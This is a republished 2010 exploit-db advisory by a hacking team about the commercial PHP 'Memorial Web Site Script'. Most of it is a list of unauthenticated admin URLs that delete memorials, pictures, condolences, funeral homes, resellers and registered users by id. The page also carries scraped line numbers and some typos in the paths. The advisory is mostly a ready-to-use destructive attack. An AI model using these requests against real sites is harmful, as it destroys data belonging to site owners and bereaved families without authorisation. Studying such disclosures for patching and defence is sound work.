Memorial Web Site Script – Multiple Arbitrary Delete Vulnerabilities - 体验盒子

作者： Chip d3 bi0s

日期： 2010-04-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12359/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

-----------------------------------------------------------------------------------------

Memorial Web Site Script Multiple Arbitrary Delete Vuln

-----------------------------------------------------------------------------------------

Author : Chip D3 Bi0s

Email : chipdebios[alt+64]gmail.com

Where : From Remote

Team : LatinHackTeam

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Author : Easy Scripts

Price : $49

Vendor : http://www.easy-scripts.net

description Bug:

~~~~~~~~~~~~~~~

After seeing the bug v3n0m:

http://www.exploit-db.com/exploits/12351

I kept seeing some things,

Discovery that could clear things published registered user,

even delete registered users:)

to do so, we must first get the id of registered users

I'd have this form in some of its publications

http://127.0.0.1/[path]/show_memorial.php?id=100

then only get the id can delete all these things

Memorials, Pictures, Multimple Pictures, Condoleances,

Funeral homes, Resell & Delet Users

All this is explained below:

-------------------

Delet Memorials

http://127.0.0.1/[path]/admin/delete_mem.php?id=100

------------------

Delet Pictures

http://127.0.0.1/[path]/admin/delete_pic.php?id=100

in case of multiple images

View Source on the pole is thus

var preloadedimages=new Array();

var timeoutId;

photos[0]="pictures/1158372383_0_sub.JPG";

names[0]="";

photos[1]="pictures/1158372858_0_sub.JPG";

names[1]="Mon&Dad";

photos[2]="pictures/1158372975_0_sub.JPG";

names[2]="Cementry";

photos[3]="pictures/1158373106_0_sub.JPG";

names[3]="Dad&Tommy";

photos[4]="pictures/1158373106_1_sub.JPG";

names[4]="Dad&Steve";

photos[5]="pictures/1158373335_0_sub.JPG";

names[5]="";

photos[6]="pictures/1158375471_0_sub.JPG";

names[6]="Dad7Minoo&Homa";

Delet Multimple Pictures

http://127.0.0.1/[path]/admin/del_im.php?id=100&name=1158375471_0_sub.JPG

-------------------

Delet Condoleances

http://127.0.0.1/[path]/dmin/delete_con.php?id=100

-------------

Delet Funeral homes

http://127.0.0.1/[path]/admin/delete_fh.php?id=100

--------

Delet Resell

http://127.0.0.1/[path]/admin/delete_resell.php?id=100

---------

Delet Users

http://127.0.0.1/[path]/admin/delete_user.php?id=100

+++++++++++++++++++++++++++++++++++++++

#[!] Produced in South America

+++++++++++++++++++++++++++++++++++++++